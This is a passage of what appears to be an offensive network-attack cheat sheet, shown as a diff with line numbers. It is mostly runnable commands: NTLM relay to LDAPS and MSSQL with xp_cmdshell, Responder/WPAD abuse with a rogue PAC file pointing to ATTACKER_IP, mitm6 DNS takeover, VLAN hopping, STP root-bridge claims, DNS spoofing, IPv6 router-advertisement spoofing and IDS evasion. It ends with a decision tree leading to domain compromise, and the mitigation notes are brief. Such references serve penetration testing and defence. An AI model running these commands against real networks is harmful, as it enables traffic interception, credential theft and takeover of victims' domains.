ntlmrelayx.py -t ldaps://DC01 --delegate-access # RBCD attack
|
|
105
|
+
ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
---
|
|
109
|
+
|
|
110
|
+
## 3. WPAD ABUSE
|
|
111
|
+
|
|
112
|
+
```bash
|
|
113
|
+
# Responder with WPAD proxy
|
|
114
|
+
responder -I eth0 -wPv
|
|
115
|
+
|
|
116
|
+
# WPAD flow:
|
|
117
|
+
# 1. Client queries DHCP for WPAD → DNS for wpad.domain.com → LLMNR/NBT-NS
|
|
118
|
+
# 2. Responder answers with rogue wpad.dat
|
|
119
|
+
# 3. Browser uses attacker's proxy → forced NTLM auth → credential capture
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
### Manual WPAD PAC File
|
|
123
|
+
|
|
124
|
+
```javascript
|
|
125
|
+
// Rogue wpad.dat content
|
|
126
|
+
function FindProxyForURL(url, host) {
|
|
127
|
+
return "PROXY ATTACKER_IP:3128; DIRECT";
|
|
128
|
+
}
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
---
|
|
132
|
+
|
|
133
|
+
## 4. DHCPv6 ATTACK — mitm6
|
|
134
|
+
|
|
135
|
+
Even on IPv4-only networks, Windows clients send DHCPv6 solicitations by default.
|
|
136
|
+
|
|
137
|
+
```bash
|
|
138
|
+
# mitm6 → DNS takeover → NTLM relay
|
|
139
|
+
mitm6 -d domain.com
|
|
140
|
+
|
|
141
|
+
# In parallel: relay captured NTLM to LDAP(S) for delegation
|
|
142
|
+
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access
|
|
143
|
+
|
|
144
|
+
# Attack chain:
|
|
145
|
+
# 1. mitm6 answers DHCPv6 → sets attacker as IPv6 DNS
|
|
146
|
+
# 2. Victim DNS queries go to attacker → WPAD redirect
|
|
147
|
+
# 3. Forced NTLM auth → relay to LDAP → create machine account or RBCD
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
### Key Conditions
|
|
151
|
+
|
|
152
|
+
- SMB signing disabled on targets (for SMB relay)
|
|
153
|
+
- LDAP signing not enforced on DC (for LDAP relay)
|
|
154
|
+
- Domain Computers quota > 0 (for machine account creation, default: 10)
|
|
155
|
+
|
|
156
|
+
---
|
|
157
|
+
|
|
158
|
+
## 5. VLAN HOPPING
|
|
159
|
+
|
|
160
|
+
### Switch Spoofing (DTP)
|
|
161
|
+
|
|
162
|
+
```bash
|
|
163
|
+
# yersinia — DTP attack to negotiate trunk
|
|
164
|
+
yersinia dtp -attack 1 -interface eth0
|
|
165
|
+
|
|
166
|
+
# frogger.sh — automated VLAN hopping via DTP
|
|
167
|
+
./frogger.sh
|
|
168
|
+
# Sends DTP frames → switch enables trunking → access all VLANs
|
|
169
|
+
|
|
170
|
+
# After trunk established:
|
|
171
|
+
modprobe 8021q
|
|
172
|
+
vconfig add eth0 TARGET_VLAN
|
|
173
|
+
ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
### Double Tagging (802.1Q)
|
|
177
|
+
|
|
178
|
+
```bash
|
|
179
|
+
# Craft double-tagged frame: outer=native VLAN, inner=target VLAN
|
|
180
|
+
# scapy:
|
|
181
|
+
from scapy.all import *
|
|
182
|
+
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()
|
|
183
|
+
sendp(pkt, iface="eth0")
|
|
184
|
+
|
|
185
|
+
# Limitation: one-way only (responses go to real gateway)
|
|
186
|
+
# Effective for blind attacks (e.g., targeting a server)
|
|
187
|
+
```
|
|
188
|
+
|
|
189
|
+
### Mitigation
|
|
190
|
+
|
|
191
|
+
- Disable DTP: `switchport nonegotiate`
|
|
192
|
+
- Set native VLAN to unused: `switchport trunk native vlan 999`
|
|
193
|
+
- Prune VLANs: only allow needed VLANs on trunk ports
|
|
194
|
+
|
|
195
|
+
---
|
|
196
|
+
|
|
197
|
+
## 6. STP MANIPULATION
|
|
198
|
+
|
|
199
|
+
### Root Bridge Claim
|
|
200
|
+
|
|
201
|
+
```bash
|
|
202
|
+
# yersinia — claim root bridge with lowest priority
|
|
203
|
+
yersinia stp -attack 4 -interface eth0
|
|
204
|
+
|
|
205
|
+
# Send BPDUs with priority 0 → become root bridge
|
|
206
|
+
# All traffic flows through attacker → MitM
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
### Topology Change Attack
|
|
210
|
+
|
|
211
|
+
```bash
|
|
212
|
+
# Send TC (Topology Change) BPDUs → force MAC table flush
|
|
213
|
+
yersinia stp -attack 1 -interface eth0
|
|
214
|
+
# Switches flood all ports temporarily → sniff traffic
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
### Mitigation
|
|
218
|
+
|
|
219
|
+
- BPDU Guard on access ports
|
|
220
|
+
- Root Guard on designated ports
|
|
221
|
+
- `spanning-tree portfast bpduguard enable`
|
|
222
|
+
|
|
223
|
+
---
|
|
224
|
+
|
|
225
|
+
## 7. DNS SPOOFING
|
|
226
|
+
|
|
227
|
+
### DNS Cache Poisoning
|
|
228
|
+
|
|
229
|
+
```bash
|
|
230
|
+
# bettercap DNS spoofing
|
|
231
|
+
bettercap -iface eth0
|
|
232
|
+
> set dns.spoof.domains target.com, *.target.com
|
|
233
|
+
> set dns.spoof.address ATTACKER_IP
|
|
234
|
+
> dns.spoof on
|
|
235
|
+
|
|
236
|
+
# ettercap DNS spoofing (via etter.dns config)
|
|
237
|
+
echo "target.com A ATTACKER_IP" >> /etc/ettercap/etter.dns
|
|
238
|
+
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /VICTIM// /GATEWAY//
|
|
239
|
+
```
|
|
240
|
+
|
|
241
|
+
### Kaminsky Attack Variant
|
|
242
|
+
|
|
243
|
+
Flood recursive resolver with forged responses for random subdomains, each including a malicious authority section pointing the NS record to attacker-controlled server.
|
|
244
|
+
|
|
245
|
+
---
|
|
246
|
+
|
|
247
|
+
## 8. IPv6 ATTACKS
|
|
248
|
+
|
|
249
|
+
### Router Advertisement Spoofing
|
|
250
|
+
|
|
251
|
+
```bash
|
|
252
|
+
# Send rogue RA → victim configures attacker as default gateway
|
|
253
|
+
atk6-fake_router6 eth0 ATTACKER_IPV6_PREFIX/64
|
|
254
|
+
|
|
255
|
+
# THC-IPv6 suite for comprehensive IPv6 attacks
|
|
256
|
+
atk6-parasite6 eth0 # ICMPv6 neighbor spoofing
|
|
257
|
+
atk6-redir6 eth0 ... # Traffic redirection via ICMPv6 redirect
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
### SLAAC Abuse
|
|
261
|
+
|
|
262
|
+
```bash
|
|
263
|
+
# Advertise rogue prefix → victim auto-configures IPv6 address
|
|
264
|
+
# Combined with rogue DNS (RA option) → full MitM over IPv6
|
|
265
|
+
# Windows prioritizes IPv6 over IPv4 by default
|
|
266
|
+
```
|
|
267
|
+
|
|
268
|
+
---
|
|
269
|
+
|
|
270
|
+
## 9. IDS/IPS EVASION
|
|
271
|
+
|
|
272
|
+
| Technique | Method | Tool/Flag |
|
|
273
|
+
|---|---|---|
|
|
274
|
+
| IP Fragmentation | Split payload across fragments | `nmap -f`, `fragroute` |
|
|
275
|
+
| TTL Manipulation | Set TTL to expire at IDS but reach target | `fragroute` |
|
|
276
|
+
| Encoding Evasion | URL/Unicode/hex encoding | Manual, custom scripts |
|
|
277
|
+
| Session Splicing | Split TCP payload across segments | `fragroute`, `nmap --data-length` |
|
|
278
|
+
| Timing-Based | Slow scan to avoid rate-based detection | `nmap -T0`, `nmap -T1` |
|
|
279
|
+
| Decoy Scanning | Mix real scan with decoy source IPs | `nmap -D RND:10` |
|
|
280
|
+
| Idle/Zombie Scan | Use idle host as scan proxy | `nmap -sI ZOMBIE_IP` |
|
|
281
|
+
|
|
282
|
+
```bash
|
|
283
|
+
# fragroute — fragment and reorder packets
|
|
284
|
+
echo "ip_frag 8" > /tmp/frag.conf
|
|
285
|
+
echo "order random" >> /tmp/frag.conf
|
|
286
|
+
fragroute -f /tmp/frag.conf TARGET_IP
|
|
287
|
+
|
|
288
|
+
# nmap evasion combinations
|
|
289
|
+
nmap -sS -f --mtu 24 --data-length 50 -D RND:5 -T2 TARGET
|
|
290
|
+
```
|
|
291
|
+
|
|
292
|
+
---
|
|
293
|
+
|
|
294
|
+
## 10. DECISION TREE
|
|
295
|
+
|
|
296
|
+
```
|
|
297
|
+
Network access obtained — want to escalate via network attacks
|
|
298
|
+
│
|
|
299
|
+
├── On same broadcast domain as targets?
|
|
300
|
+
│ ├── YES → ARP spoof for MitM (§1)
|
|
301
|
+
│ │ └── Capture plaintext creds or redirect traffic
|
|
302
|
+
│ └── NO → need VLAN hopping first (§5)
|
|
303
|
+
│ ├── DTP enabled? → switch spoofing
|
|
304
|
+
│ └── Know native VLAN? → double tagging
|
|
305
|
+
│
|
|
306
|
+
├── Windows environment?
|
|
307
|
+
│ ├── LLMNR/NBT-NS enabled? (default YES)
|
|
308
|
+
│ │ └── Run Responder (§2) → capture NetNTLM hashes
|
|
309
|
+
│ │ ├── NTLMv1? → crack fast or relay
|
|
310
|
+
│ │ └── NTLMv2? → relay (§2) or crack with rules
|
|
311
|
+
│ │
|
|
312
|
+
│ ├── WPAD configured or auto-detect? → WPAD abuse (§3)
|
|
313
|
+
│ │
|
|
314
|
+
│ └── IPv6 not hardened? (default) → mitm6 + ntlmrelayx (§4)
|
|
315
|
+
│ └── LDAP relay → RBCD → domain compromise
|
|
316
|
+
│
|
|
317
|
+
├── Need DNS control?
|
|
318
|
+
│ ├── MitM already established? → DNS spoofing (§7)
|
|
319
|
+
│ └── DHCPv6 available? → mitm6 for DNS takeover (§4)
|
|
320
|
+
│
|
|
321
|
+
├── Managed switches with weak config?
|
|
322
|
+
│ ├── BPDU Guard off? → STP root bridge claim (§6)
|
|
323
|
+
│ └── DTP enabled? → VLAN hopping (§5)
|
|
324
|
+
│
|
|
325
|
+
├── IPv6 attack surface?
|
|
326
|
+
│ └── RA spoofing / SLAAC abuse (§8) → MitM over IPv6
|
|
327
|
+
│
|
|
328
|
+
└── IDS/IPS in path?
|
|
329
|
+
└── Apply evasion techniques (§9) — fragmentation, timing, encoding
|
|
330
|
+
```
|